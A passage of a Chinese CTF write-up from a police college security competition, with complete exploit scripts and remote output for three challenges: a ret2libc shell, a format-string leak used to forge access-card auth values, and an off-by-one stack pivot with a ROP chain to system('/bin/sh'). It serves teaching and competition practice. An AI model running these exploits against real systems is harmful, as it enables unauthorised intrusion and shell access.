&nbsp; &nbsp; log.info(f"leak line =&nbsp;{line}")

&nbsp; &nbsp; m = re.search(rb"(0x[0-9a-fA-F]+)\.(0x[0-9a-fA-F]+)", line)
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp; log.failure("failed to parse leak")
&nbsp; &nbsp; &nbsp; &nbsp; exit(1)

&nbsp; &nbsp; pie_leak = int(m.group(1),&nbsp;16)
&nbsp; &nbsp; libc_leak = int(m.group(2),&nbsp;16)

&nbsp; &nbsp; pie_base = pie_leak - PIE_LEAK_OFF
&nbsp; &nbsp; libc_base = libc_leak - LIBC_LEAK_OFF

&nbsp; &nbsp; log.success(f"pie leak &nbsp;=&nbsp;{hex(pie_leak)}")
&nbsp; &nbsp; log.success(f"pie base &nbsp;=&nbsp;{hex(pie_base)}")
&nbsp; &nbsp; log.success(f"libc leak =&nbsp;{hex(libc_leak)}")
&nbsp; &nbsp; log.success(f"libc base =&nbsp;{hex(libc_base)}")

&nbsp; &nbsp;&nbsp;return&nbsp;pie_base, libc_base

pie_base, libc_base = leak()

pop_rdi = pie_base + POP_RDI_OFF
ret = pie_base + RET_OFF
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))

log.success(f"pop rdi =&nbsp;{hex(pop_rdi)}")
log.success(f"ret &nbsp; &nbsp; =&nbsp;{hex(ret)}")
log.success(f"system &nbsp;=&nbsp;{hex(system)}")
log.success(f"/bin/sh =&nbsp;{hex(binsh)}")

payload = flat(
&nbsp; &nbsp;&nbsp;b"A"&nbsp;* OFFSET,
&nbsp; &nbsp; ret, &nbsp; &nbsp; &nbsp; &nbsp;# 栈对齐
&nbsp; &nbsp; pop_rdi,
&nbsp; &nbsp; binsh,
&nbsp; &nbsp; system
)

io.recvuntil(b"Seal the final copy:\n")
io.sendline(payload)

io.sendline(b"cat /flag; cat flag; cat ./flag; ls /")
io.interactive()

Step 2: 远程验证

运行脚本:

python3 exp.py REMOTE

远程泄露结果如下:

[+] Opening connection to nc1.ctfplus.cn on port 34131: Done
[*] leak line = b'0x5629633d7366.0x7fbb93cdbf75'
[+] pie leak &nbsp;= 0x5629633d7366
[+] pie base &nbsp;= 0x5629633d6000
[+] libc leak = 0x7fbb93cdbf75
[+] libc base = 0x7fbb93cb2000
[+] pop rdi = 0x5629633d717d
[+] ret &nbsp; &nbsp; = 0x5629633d7016
[+] system &nbsp;= 0x7fbb93d06790
[+] /bin/sh = 0x7fbb93e5cea4
[*] Switching to interactive mode

成功进入 shell 后读取 flag:

$ cat flag
ZJPCTF{e136f678-4382-4bc2-8381-4bd96b815b09}

Flag

ZJPCTF{e136f678-4382-4bc2-8381-4bd96b815b09}

校园门禁系统

Summary

题目是一个网页上传门禁卡 dump 的 pwn+misc 题。 核心漏洞在 parser 对卡片 note 字段的处理:note 被当作 snprintf 的格式化字符串使用,可以用 %5$s 泄露当前房间的认证 auth,再伪造合法门禁卡逐个房间访问,最终在 Room 5 读到 flag。

Solution

Step 1: 分析卡片 dump 格式

网页入口提供上传接口:

/upload?room=<room_id>

上传内容是门禁卡 dump,后端会调用 parser 校验卡片。 分析 parser 后可以确定关键字段如下:

dump[0x00:0x04] &nbsp;UID
dump[0x04] &nbsp; &nbsp; &nbsp; BCC = UID[0] ^ UID[1] ^ UID[2] ^ UID[3]
dump[0x05:0x0c] &nbsp;Vendor tag,要求为 b"ZJPCTF\x00"
dump[0x40] &nbsp; &nbsp; &nbsp; 房间号
dump[0x41] &nbsp; &nbsp; &nbsp; 卡类型,要求为 1
dump[0x50:0x6f] &nbsp;Note 字段
dump[0x70:0x76] &nbsp;6 字节 auth

正常情况下,每个房间都有不同的 auth,只有 auth 校验成功才能进入对应房间。 题目提示“猜猜 flag 在哪个房间”,因此需要对多个房间逐一验证。

关键点是 note 字段存在格式化字符串漏洞。 当 note 设置为 %5$s 时,parser 会把当前房间计算出的正确 auth hex 当作字符串打印出来。

完整利用流程:

  1. 构造一张假卡,note = "%5$s"
  2. 上传到指定房间,泄露该房间正确 auth;
  3. 用泄露出的 auth 重新构造合法卡;
  4. 上传合法卡进入房间;
  5. 依次尝试 Room 1 到 Room 9,直到响应中出现 FLAG:

完整脚本如下:

#!/usr/bin/env python3
import&nbsp;re
import&nbsp;html
import&nbsp;sys
import&nbsp;requests

BASE = (
&nbsp; &nbsp; sys.argv[1].rstrip("/")
&nbsp; &nbsp;&nbsp;if&nbsp;len(sys.argv) >&nbsp;1
&nbsp; &nbsp;&nbsp;else&nbsp;"http://8080-b1f43f20-a51f-4920-aeda-a11ed4bd79b6.challenge.ctfplus.cn"
)

UID =&nbsp;b"ABCD"

def&nbsp;make_dump(room: int, note: bytes =&nbsp;b"hello", auth: bytes =&nbsp;b"\x00"&nbsp;*&nbsp;6)&nbsp;-> bytes:
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; 构造 1K M1 dump。

&nbsp; &nbsp; parser 检查点:
&nbsp; &nbsp; - dump 大小必须是 0x400 或 0x1000
&nbsp; &nbsp; - UID BCC 正确
&nbsp; &nbsp; - manufacturer tag 必须是 b"ZJPCTF\\x00"
&nbsp; &nbsp; - dump[0x41] 必须为 1
&nbsp; &nbsp; - dump[0x40] 必须等于当前 room id
&nbsp; &nbsp; - dump[0x50:0x6f] 是 note 字段,存在格式化字符串漏洞
&nbsp; &nbsp; - dump[0x70:0x75] 是 6 字节 auth
&nbsp; &nbsp; """
&nbsp; &nbsp; data = bytearray(0x400)

&nbsp; &nbsp;&nbsp;# UID + BCC
&nbsp; &nbsp; data[0:4] = UID
&nbsp; &nbsp; data[4] = UID[0] ^ UID[1] ^ UID[2] ^ UID[3]

&nbsp; &nbsp;&nbsp;# manufacturer tag,memcmp 长度为 7,所以要带结尾 0
&nbsp; &nbsp; data[5:12] =&nbsp;b"ZJPCTF\x00"

&nbsp; &nbsp;&nbsp;# 房间号与卡类型
&nbsp; &nbsp; data[0x40] = room &&nbsp;0xFF
&nbsp; &nbsp; data[0x41] =&nbsp;1

&nbsp; &nbsp;&nbsp;# note 最多实际显示/使用 31 字节
&nbsp; &nbsp; data[0x50:0x50&nbsp;+&nbsp;31] = note[:31].ljust(31,&nbsp;b"\x00")

&nbsp; &nbsp;&nbsp;# auth 6 字节
&nbsp; &nbsp; data[0x70:0x76] = auth[:6].ljust(6,&nbsp;b"\x00")

&nbsp; &nbsp;&nbsp;return&nbsp;bytes(data)

def&nbsp;upload(room: int, dump: bytes)&nbsp;-> str:
&nbsp; &nbsp; url =&nbsp;f"{BASE}/upload?room={room}"

&nbsp; &nbsp; r = requests.post(
&nbsp; &nbsp; &nbsp; &nbsp; url,
&nbsp; &nbsp; &nbsp; &nbsp; files={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"dump": ("card.dump", dump,&nbsp;"application/octet-stream"),
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10,
&nbsp; &nbsp; )

&nbsp; &nbsp; text = r.text

&nbsp; &nbsp;&nbsp;# 网页把 parser 输出放在 <pre>...</pre> 里
&nbsp; &nbsp; m = re.search(r"<pre>(.*?)</pre>", text, re.S)
&nbsp; &nbsp;&nbsp;if&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;html.unescape(m.group(1))

&nbsp; &nbsp;&nbsp;return&nbsp;text

def&nbsp;leak_auth(room: int)&nbsp;-> bytes:
&nbsp; &nbsp;&nbsp;"""
&nbsp; &nbsp; 利用 note 字段格式化字符串:
&nbsp; &nbsp; %5$s 会打印 parser 计算出的当前房间 auth hex。
&nbsp; &nbsp; """
&nbsp; &nbsp; dump = make_dump(room, note=b"%5$s", auth=b"\x00"&nbsp;*&nbsp;6)
&nbsp; &nbsp; report = upload(room, dump)

&nbsp; &nbsp; m = re.search(r"Note: ([0-9a-fA-F]{12})", report)
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[!] room&nbsp;{room}&nbsp;leak failed")
&nbsp; &nbsp; &nbsp; &nbsp; print(report[:800])
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit(1)

&nbsp; &nbsp; auth_hex = m.group(1)
&nbsp; &nbsp; print(f"[*] room&nbsp;{room}&nbsp;leaked auth =&nbsp;{auth_hex}")
&nbsp; &nbsp;&nbsp;return&nbsp;bytes.fromhex(auth_hex)

def&nbsp;main():
&nbsp; &nbsp; print(f"[*] target =&nbsp;{BASE}")

&nbsp; &nbsp;&nbsp;for&nbsp;room&nbsp;in&nbsp;range(1,&nbsp;10):
&nbsp; &nbsp; &nbsp; &nbsp; print(f"\n========== try room&nbsp;{room}&nbsp;==========")

&nbsp; &nbsp; &nbsp; &nbsp; auth = leak_auth(room)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 用泄露出的 auth 伪造合法卡
&nbsp; &nbsp; &nbsp; &nbsp; dump = make_dump(room, note=b"hello", auth=auth)
&nbsp; &nbsp; &nbsp; &nbsp; report = upload(room, dump)

&nbsp; &nbsp; &nbsp; &nbsp; print(report)

&nbsp; &nbsp; &nbsp; &nbsp; m = re.search(r"(ZJPCTF\{[^}]+\}|flag\{[^}]+\})", report)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(f"\n[+] FLAG =&nbsp;{m.group(1)}")
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return

&nbsp; &nbsp; print("\n[-] flag not found in room 1~9")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

Step 2: 远程验证

运行脚本:

python3 exp.py

远程输出如下:

[*] target = http://8080-b1f43f20-a51f-4920-aeda-a11ed4bd79b6.challenge.ctfplus.cn

========== try room 1 ==========
[*] room 1 leaked auth = b023995f4d74
=== IC Card Validation Report ===
Room: Room 1
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.

========== try room 2 ==========
[*] room 2 leaked auth = d9382df4579d
=== IC Card Validation Report ===
Room: Room 2
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.

========== try room 3 ==========
[*] room 3 leaked auth = ca74c9f1a86e
=== IC Card Validation Report ===
Room: Room 3
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.

========== try room 4 ==========
[*] room 4 leaked auth = f3895d86b297
=== IC Card Validation Report ===
Room: Room 4
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
Access granted, but this room has no flag.

========== try room 5 ==========
[*] room 5 leaked auth = 177de392668f
=== IC Card Validation Report ===
Room: Room 5
Dump: 1024 bytes
UID : 41424344
Vendor: ZJPCTF
Note: hello
Auth: success
FLAG: ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}

[+] FLAG = ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}

最终确认 flag 在 Room 5。

Flag

ZJPCTF{e6b8f3ec-fb60-4cd6-92c6-e9b9d93fca62}

pivot

Summary

题目是一个典型栈迁移题。程序会泄露第一次输入缓冲区的栈地址,并且第二次输入存在 off-by-one,可以覆盖上一层栈帧 rbp 的最低 1 字节。 利用该字节覆盖把 rbp 改到第一次输入的缓冲区内,触发 leave; ret 后完成 stack pivot,执行 ROP 调用程序内置的 nightly_audit("/bin/sh"),最终读出 flag。

Solution

Step 1: 分析漏洞点

程序启动后会打印一处栈地址:

Claim check: 0x...

该地址是 check_in 中第一次输入缓冲区的地址。 第一次输入可以写入 0x70 字节,正好可以用来布置 fake stack 和 ROP 链。

随后程序进入 tag_editor,第二次输入的栈缓冲区只有 0x20 字节,但程序读取 0x21 字节,因此可以多写 1 字节,覆盖 tag_editor 保存的 rbp 最低字节。该保存的 rbp 实际上会影响上一层 check_in 返回时使用的栈帧。

check_in 结尾执行:

leave
ret

如果把 rbp 的低字节改成第一次输入缓冲区内的某个地址,则:

rsp = fake_rbp
pop rbp
ret

最终控制流会从第一次输入中布置好的 ROP 链继续执行。

需要注意的是:只能覆盖 rbp 最低 1 字节,因此并不是每次远程连接的栈布局都适合 pivot。脚本会自动重连,直到泄露出的缓冲区地址和原 rbp 位于可利用的同一 0x100 对齐块内。

利用目标选择程序内置函数:

nightly_audit = 0x4011fa

该函数内部会调用 system(rdi),比直接跳 system@plt 更稳定。

完整 exploit 如下:

#!/usr/bin/env python3
from&nbsp;pwn&nbsp;import&nbsp;*
import&nbsp;re

context.arch =&nbsp;"amd64"
context.log_level =&nbsp;"info"

HOST =&nbsp;"nc1.ctfplus.cn"
PORT =&nbsp;46750

POP_RDI =&nbsp;0x4011f1
NIGHTLY_AUDIT =&nbsp;0x4011fa&nbsp; &nbsp;# nightly_audit(char *cmd) -> system(cmd)

BUF_SIZE =&nbsp;0x70

def&nbsp;start():
&nbsp; &nbsp;&nbsp;return&nbsp;remote(HOST, PORT)

def&nbsp;build_payload(buf_addr: int):
&nbsp; &nbsp; old_rbp = buf_addr +&nbsp;0x70
&nbsp; &nbsp; old_block = old_rbp & ~0xff

&nbsp; &nbsp;&nbsp;# fake rbp + pop rdi + arg + nightly_audit
&nbsp; &nbsp; chain_len =&nbsp;4&nbsp;*&nbsp;8

&nbsp; &nbsp;&nbsp;for&nbsp;off&nbsp;in&nbsp;range(8, BUF_SIZE - chain_len +&nbsp;1):
&nbsp; &nbsp; &nbsp; &nbsp; pivot_addr = buf_addr + off

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# off-by-one 只能改 rbp 最低 1 字节,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 因此 pivot_addr 必须和 old_rbp 在同一个 0x100 对齐块内。
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(pivot_addr & ~0xff) != old_block:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 进入 nightly_audit 时保持正常函数入口栈对齐:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# ret 到函数后 rsp % 16 应为 8。
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;((pivot_addr +&nbsp;0x20) &&nbsp;0xf) !=&nbsp;8:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp; &nbsp; &nbsp; log.success(f"buf &nbsp; &nbsp; &nbsp; =&nbsp;{hex(buf_addr)}")
&nbsp; &nbsp; &nbsp; &nbsp; log.success(f"old rbp &nbsp; =&nbsp;{hex(old_rbp)}")
&nbsp; &nbsp; &nbsp; &nbsp; log.success(f"pivot &nbsp; &nbsp; =&nbsp;{hex(pivot_addr)}")
&nbsp; &nbsp; &nbsp; &nbsp; log.success(f"pivot off =&nbsp;{hex(off)}")
&nbsp; &nbsp; &nbsp; &nbsp; log.success(f"rbp byte &nbsp;=&nbsp;{hex(pivot_addr &&nbsp;0xff)}")

&nbsp; &nbsp; &nbsp; &nbsp; payload = bytearray(b"A"&nbsp;* BUF_SIZE)

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 命令字符串放在第一次输入的 buffer 开头
&nbsp; &nbsp; &nbsp; &nbsp; payload[0:8] =&nbsp;b"/bin/sh\x00"

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# check_in leave; ret 后:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# rsp = pivot_addr
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# pop rbp -> fake rbp
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# ret -> pop rdi; ret
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# rdi = buf_addr -> "/bin/sh"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# ret -> nightly_audit -> system("/bin/sh")
&nbsp; &nbsp; &nbsp; &nbsp; rop = flat(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0x0,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; POP_RDI,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; buf_addr,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NIGHTLY_AUDIT,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; word_size=64
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp; payload[off:off + len(rop)] = rop

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 第二次输入:0x20 字节填充 + 1 字节覆盖 saved rbp 低字节
&nbsp; &nbsp; &nbsp; &nbsp; tag =&nbsp;b"B"&nbsp;*&nbsp;0x20&nbsp;+ bytes([pivot_addr &&nbsp;0xff])

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;bytes(payload), tag

&nbsp; &nbsp;&nbsp;return&nbsp;None,&nbsp;None

def&nbsp;exploit_once():
&nbsp; &nbsp; io = start()

&nbsp; &nbsp; io.recvuntil(b"Claim check: ")
&nbsp; &nbsp; line = io.recvline().strip()

&nbsp; &nbsp; m = re.search(rb"0x[0-9a-fA-F]+", line)
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp; log.warning(f"failed to parse stack leak:&nbsp;{line}")
&nbsp; &nbsp; &nbsp; &nbsp; io.close()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False

&nbsp; &nbsp; buf_addr = int(m.group(0),&nbsp;16)

&nbsp; &nbsp; payload, tag = build_payload(buf_addr)
&nbsp; &nbsp;&nbsp;if&nbsp;payload&nbsp;is&nbsp;None:
&nbsp; &nbsp; &nbsp; &nbsp; log.warning(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"bad stack layout, reconnect: "
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"buf={hex(buf_addr)}, old_rbp={hex(buf_addr +&nbsp;0x70)}"
&nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; io.close()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False

&nbsp; &nbsp;&nbsp;# 第一次输入:写入 fake stack + ROP
&nbsp; &nbsp; io.send(payload)

&nbsp; &nbsp;&nbsp;# 第二次输入:off-by-one 覆盖 check_in 的 rbp 低字节
&nbsp; &nbsp; io.recvuntil(b"night clerk:\n")
&nbsp; &nbsp; io.send(tag)

&nbsp; &nbsp;&nbsp;# shell 启动后自动读 flag,然后 exit 让连接关闭
&nbsp; &nbsp; io.sendline(b"cat /flag; cat flag; cat ./flag; exit")

&nbsp; &nbsp; data = io.recvall(timeout=3)
&nbsp; &nbsp; print(data.decode(errors="ignore"))

&nbsp; &nbsp; m = re.search(rb"ZJPCTF\{[^}]+\}", data)
&nbsp; &nbsp;&nbsp;if&nbsp;m:
&nbsp; &nbsp; &nbsp; &nbsp; log.success(f"FLAG =&nbsp;{m.group(0).decode()}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True

&nbsp; &nbsp; log.warning("no flag this round, retry")
&nbsp; &nbsp;&nbsp;return&nbsp;False

def&nbsp;main():
&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(1,&nbsp;100):
&nbsp; &nbsp; &nbsp; &nbsp; log.info(f"try #{i}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;exploit_once():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;EOFError:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.warning("EOF, retry")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; log.warning(f"error:&nbsp;{e}, retry")

&nbsp; &nbsp; log.failure("failed after many retries")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

Step 2: 远程验证

运行脚本:

python3 exp.py

由于只覆盖 rbp 低 1 字节,部分连接的栈布局不可用,脚本会自动重试。成功的一次如下:

[*] try&nbsp;#10
[+] Opening connection to nc1.ctfplus.cn on port 46750: Done
[+] buf &nbsp; &nbsp; &nbsp; = 0x7ffcac941ed0
[+] old rbp &nbsp; = 0x7ffcac941f40
[+] pivot &nbsp; &nbsp; = 0x7ffcac941f08
[+] pivot off = 0x38
[+] rbp byte &nbsp;= 0x8
[+] Receiving all data: Done (164B)
[*] Closed connection to nc1.ctfplus.cn port 46750
Stamped. Come back before dawn.
ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}
[+] FLAG = ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}

Flag

ZJPCTF{c4f57f0f-bba9-40f7-9ff6-4b90ae7c3f53}


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:玄网安全 玄网安全 oPis 玄网安全 oPis《浙江警察学院第九届信息网络安全竞赛决赛-wp》

    评论:0   参与:  0